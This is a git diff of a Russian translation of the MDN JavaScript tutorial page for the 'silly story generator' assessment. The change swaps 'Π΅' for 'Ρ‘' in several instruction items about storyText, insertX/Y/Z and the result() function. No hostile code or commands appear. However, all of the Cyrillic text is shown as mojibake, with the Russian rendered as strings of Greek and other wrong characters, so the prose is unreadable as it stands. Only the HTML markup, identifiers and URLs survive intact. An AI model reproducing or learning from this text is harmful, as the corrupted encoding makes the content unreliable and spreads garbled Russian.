+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’Π°ΠΊΠΎΠΉ элСмСнт управлСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя состояниями, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ называСтся <strong>Ρ‚ΡƒΠΌΠ±Π»Π΅Ρ€ΠΎΠΌ</strong>. Он ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ΄Π½ΠΈΠΌ состояниСм ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ: свСт Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½, свСт Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΈ Ρ‚. Π΄.</p>
</div>
<h2 id="Π˜Ρ‚ΠΎΠ³ΠΎ">Π˜Ρ‚ΠΎΠ³ΠΎ</h2>
diff --git a/files/ru/learn/javascript/first_steps/silly_story_generator/index.html b/files/ru/learn/javascript/first_steps/silly_story_generator/index.html
index 23671b5e99..8e0b8b7ac9 100644
--- a/files/ru/learn/javascript/first_steps/silly_story_generator/index.html
+++ b/files/ru/learn/javascript/first_steps/silly_story_generator/index.html
@@ -41,7 +41,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘ΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ_Π³Π»ΡƒΠ
<ul>
<li>ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html">ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» HTML</a> ΠΊΠ°ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сохранив Π΅Π³ΠΎ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию ΠΊΠ°ΠΊΒ  <code>index.html</code> Π² Π½ΠΎΠ²ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ Π³Π΄Π΅-Ρ‚ΠΎ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π’Π°ΠΌ ΠΆΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ ΠΈ CSS Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½ΡƒΠΆΠ½Ρ‹ΠΉ для стилизации.</li>
- <li>ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">страницу, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ исходный тСкст, </a>ΠΈ ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΉ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Она Π²Π°ΠΌ понадобится ΠΏΠΎΠ·ΠΆΠ΅.</li>
+ <li>ΠŸΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">страницу, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ исходный тСкст, </a>ΠΈ ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠΉ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Она Π²Π°ΠΌ понадобится ΠΏΠΎΠ·ΠΆΠ΅.</li>
</ul>
<div class="note">
@@ -53,8 +53,8 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘ΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ_Π³Π»ΡƒΠ
<p><span id="result_box" lang="ru"><span>Π’Π°ΠΌ прСдоставили Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ HTML/CSS, нСсколько тСкстовых строк ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ JavaScript;</span> <span>Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ JavaScript ΠΊΠΎΠ΄, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ это Π² Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, которая выполняСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ дСйствия:</span></span></p>
<ul>
- <li>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π³Π»ΡƒΠΏΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΈΡŽ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Generate random story".</li>
- <li>ЗамСняСт стандартноС имя "Bob" Π² истории Π½Π° своС имя, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΎΠ½ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ Π² ΠΏΠΎΠ»Π΅ "Enter custom name" ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π½Π°ΠΆΠ°Ρ‚Π° ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ°.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π³Π»ΡƒΠΏΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΏΠΎ Π½Π°ΠΆΠ°Ρ‚ΠΈΡŽ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Generate random story".</li>
+ <li>ЗамСняСт стандартноС имя "Bob" Π² истории Π½Π° своё имя, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΎΠ½ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ Π² ΠΏΠΎΠ»Π΅ "Enter custom name" ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π½Π°ΠΆΠ°Ρ‚Π° ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π°Ρ ΠΊΠ½ΠΎΠΏΠΊΠ°.</li>
<li>ΠšΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ US Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ вСса ΠΈ Ρ‚Π΅ΠΌΠΏΠ΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹ Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ для UK, Ссли Π²Ρ‹Π±Ρ€Π°Π½ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΡŒ.</li>
<li>Π‘ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Π³Π»ΡƒΠΏΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ Ссли Π½Π°ΠΆΠ°Ρ‚ΡŒ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ снова (ΠΈ снова... )</li>
</ul>
@@ -83,9 +83,9 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘ΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ_Π³Π»ΡƒΠ
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ взглянитС Π½Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ исходного Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° β€” "2. RAW TEXT STRINGS". Он содСрТит строки тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π²Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ вашСй ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’Π°ΠΌ слСдуСт ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΈΡ… Π²Π½ΡƒΡ‚Ρ€ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Π² Ρ„Π°ΠΉΠ»Π΅ <code>main.js</code>:
<ol>
<li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π²ΡƒΡŽ Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ строку тСкста Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>storyText</code>.</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… строк ΠΊΠ°ΠΊ массив, Π½Π°Π·Π²Π°Π² Π΅Π³ΠΎ <code>insertX</code>.</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π±Π»ΠΎΠΊ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… строк ΠΊΠ°ΠΊ массив, Π½Π°Π·Π²Π°Π² Π΅Π³ΠΎ <code>insertY</code>.</li>
- <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ Π±Π»ΠΎΠΊ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… строк ΠΊΠ°ΠΊ массив, Π½Π°Π·Π²Π°Π² Π΅Π³ΠΎ <code>insertZ</code>.</li>
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… строк ΠΊΠ°ΠΊ массив, Π½Π°Π·Π²Π°Π² Π΅Π³ΠΎ <code>insertX</code>.</li>
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Π±Π»ΠΎΠΊ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… строк ΠΊΠ°ΠΊ массив, Π½Π°Π·Π²Π°Π² Π΅Π³ΠΎ <code>insertY</code>.</li>
+ <li>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ Π±Π»ΠΎΠΊ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… строк ΠΊΠ°ΠΊ массив, Π½Π°Π·Π²Π°Π² Π΅Π³ΠΎ <code>insertZ</code>.</li>
</ol>
</li>
</ol>
@@ -97,7 +97,7 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘ΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ_Π³Π»ΡƒΠ
<li>Π‘ΠΊΠΎΠΏΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΊΠΎΠ΄ ΠΏΠΎΠ΄ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" ΠΈ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π² ΠΊΠΎΠ½Π΅Ρ† Ρ„Π°ΠΉΠ»Π° <code>main.js</code>. Π­Ρ‚ΠΎ:
<ul>
<li>Π”ΠΎΠ±Π°Π²ΠΈΡ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события кликанья Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>randomize</code>,Β  Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΊΠ½ΠΎΠΏΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΆΠ°Ρ‚Π° -Β  функция <code>result()</code> запустится.</li>
- <li>ДобавляСт Π² ΠΊΠΎΠ΄ частично Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>result()</code>. Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части испытания Π²Π°ΠΌ прСдстоит, заполняя строчки Π²Π½ΡƒΡ‚Ρ€ΠΈ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ Π΅Π΅ ΠΈ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</li>
+ <li>ДобавляСт Π² ΠΊΠΎΠ΄ частично Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>result()</code>. Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠΈ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части испытания Π²Π°ΠΌ прСдстоит, заполняя строчки Π²Π½ΡƒΡ‚Ρ€ΠΈ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ Π΅Ρ‘ ΠΈ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.</li>
</ul>
</li>
</ol>
@@ -105,16 +105,16 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/Π‘ΠΎΠ·Π΄Π°Ρ‚Π΅Π»ΡŒ_Π³Π»ΡƒΠ
<p>Π—Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>result()</code>:</p>
<ol>
- <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>newStory</code> ΠΈ установитС Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½Ρ‹ΠΌ <code>storyText</code>. Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΡΠ»ΡƒΡ‡Π°ΠΉΠ½ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° наТимаСтся ΠΊΠ½ΠΎΠΏΠΊΠ°, ΠΈ функция запускаСтся. Если Π±Ρ‹ ΠΌΡ‹ внСсли измСнСния нСпосрСдствСнно Π² <code>storyText</code>, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</li>
- <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ‚Ρ€ΠΈ Π½ΠΎΠ²Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ <code>xItem</code>, <code>yItem</code> ΠΈ <code>zItem</code>, ΠΈ сдСлайтС ΠΈΡ… Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ Π²Ρ‹Π·ΠΎΠ²Π° <code>randomValueFromArray()</code> Π½Π° Ρ‚Ρ€Π΅Ρ… Π²Π°ΡˆΠΈΡ… массивах (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС Π±ΡƒΠ΄Π΅Ρ‚ случайным элСмСнтом ΠΈΠ· ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ массива, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ вызываСтся). НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΡΠ»ΡƒΡ‡Π°ΠΉΠ½ΡƒΡŽ строку ΠΈΠ· <code>insertX</code>, записав <code>randomValueFromArray (insertX)</code>.</li>
- <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ‚Ρ€ΠΈ заполнитСля строки <code>newStory</code> - <code>:insertx:</code>, <code>:inserty :</code>Β  ΠΈ <code>:insertz:</code> - со строками, хранящимися Π² <code>xItem</code>, <code>yItem</code> ΠΈ <code>zItem</code>. Π—Π΄Π΅ΡΡŒ Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ строковый ΠΌΠ΅Ρ‚ΠΎΠ΄ - Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Ρ€Π°Π²Π½Ρ‹ΠΌ <code>newStory</code>, ΠΏΡ€ΠΈ этом ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ вызываСтся, <code>newStory</code> дСлаСтся Ρ€Π°Π²Π½Ρ‹ΠΌ самому сСбС, Π½ΠΎ с Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌΠΈ Π·Π°ΠΌΠ΅Π½Π°ΠΌΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° наТимаСтся ΠΊΠ½ΠΎΠΏΠΊΠ°, эти Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ случайной строкой. Подсказка: рассматриваСмый ΠΌΠ΅Ρ‚ΠΎΠ΄ замСняСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ экзСмпляр Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΉ подстроки, поэтому Π²Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² Π΄Π²Π°ΠΆΠ΄Ρ‹.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>newStory</code> ΠΈ установитС Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½Ρ‹ΠΌ <code>storyText</code>. Π­Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΡΠ»ΡƒΡ‡Π°ΠΉΠ½ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° наТимаСтся ΠΊΠ½ΠΎΠΏΠΊΠ°, ΠΈ функция запускаСтся. Если Π±Ρ‹ ΠΌΡ‹ внСсли измСнСния нСпосрСдствСнно Π² <code>storyText</code>, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·.</li>
+ <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ‚Ρ€ΠΈ Π½ΠΎΠ²Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ <code>xItem</code>, <code>yItem</code> ΠΈ <code>zItem</code>, ΠΈ сдСлайтС ΠΈΡ… Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρƒ Π²Ρ‹Π·ΠΎΠ²Π° <code>randomValueFromArray()</code> Π½Π° Ρ‚Ρ€Ρ‘Ρ… Π²Π°ΡˆΠΈΡ… массивах (Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС Π±ΡƒΠ΄Π΅Ρ‚ случайным элСмСнтом ΠΈΠ· ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ массива, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ вызываСтся). НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΅Ρ‘, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΡΠ»ΡƒΡ‡Π°ΠΉΠ½ΡƒΡŽ строку ΠΈΠ· <code>insertX</code>, записав <code>randomValueFromArray (insertX)</code>.</li>
+ <li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ‚Ρ€ΠΈ заполнитСля строки <code>newStory</code> - <code>:insertx:</code>, <code>:inserty :</code>Β  ΠΈ <code>:insertz:</code> - со строками, хранящимися Π² <code>xItem</code>, <code>yItem</code> ΠΈ <code>zItem</code>. Π—Π΄Π΅ΡΡŒ Π²Π°ΠΌ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ строковый ΠΌΠ΅Ρ‚ΠΎΠ΄ - Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Ρ€Π°Π²Π½Ρ‹ΠΌ <code>newStory</code>, ΠΏΡ€ΠΈ этом ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ вызываСтся, <code>newStory</code> дСлаСтся Ρ€Π°Π²Π½Ρ‹ΠΌ самому сСбС, Π½ΠΎ с Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹ΠΌΠΈ Π·Π°ΠΌΠ΅Π½Π°ΠΌΠΈ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° наТимаСтся ΠΊΠ½ΠΎΠΏΠΊΠ°, эти Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΠΈ Π·Π°ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ случайной строкой. Подсказка: рассматриваСмый ΠΌΠ΅Ρ‚ΠΎΠ΄ замСняСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ экзСмпляр Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΉ подстроки, поэтому Π²Π°ΠΌ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² Π΄Π²Π°ΠΆΠ΄Ρ‹.</li>
